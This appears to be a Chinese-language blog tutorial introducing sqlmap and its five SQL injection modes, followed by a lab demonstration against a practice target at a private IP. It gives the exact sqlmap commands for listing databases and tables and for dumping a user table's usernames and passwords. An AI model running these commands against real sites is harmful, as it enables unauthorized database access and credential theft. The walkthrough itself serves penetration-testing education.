sqlmap簡介
sqlmap是一個開源的滲透測試工具,可以用來進行自動化檢測,利用SQL注入漏洞,獲取數據庫服務器的權限。
它具有功能強大的檢測引擎,針對各種不同類型數據庫的滲透測試的功能選項,包括獲取數據庫中存儲的數據,訪問操作系統文件甚至可以通過外帶數據連接的方式執行操作系統命令。
它支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等數據庫的安全漏洞檢測。
它支持五種不同的注入模式:
基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入; 基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷; 基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中; 聯合查詢注入,可以使用union的情況下的注入; 堆查詢注入,可以同時執行多條語句的執行時的注入。
sqlmap的安裝方式很簡單。只需要在python2.7的環境下執行 pip install sqlmap即可,開袋即食。
靶機演示
接着上一篇 sql手工注入 我們來做一個sqlmap演示
最簡單粗暴的方式,我們直接敲命令爆庫。可以暴露出當前系統下所有的數據庫名稱
sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" --batch --dbs
或者我們的吃相不希望那麼難看,只想要當前sql下對應的數據庫名稱
sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" -p gid --current-db
接着我們來爆表名。暴露出 pentesterlab 數據下的四張表。
sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" -p gid -D pentesterlab --tables
接下來是暴露表字段。我們需要dump user表下面的字段信息並保存到本地文件。俗稱脫褲。
sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" -p gid -D pentesterlab -T user --dump
這樣,我們靶機的系統用戶名和密碼就全部暴露出來了。是不是很簡單?
演示視頻:https://asciinema.org/a/46601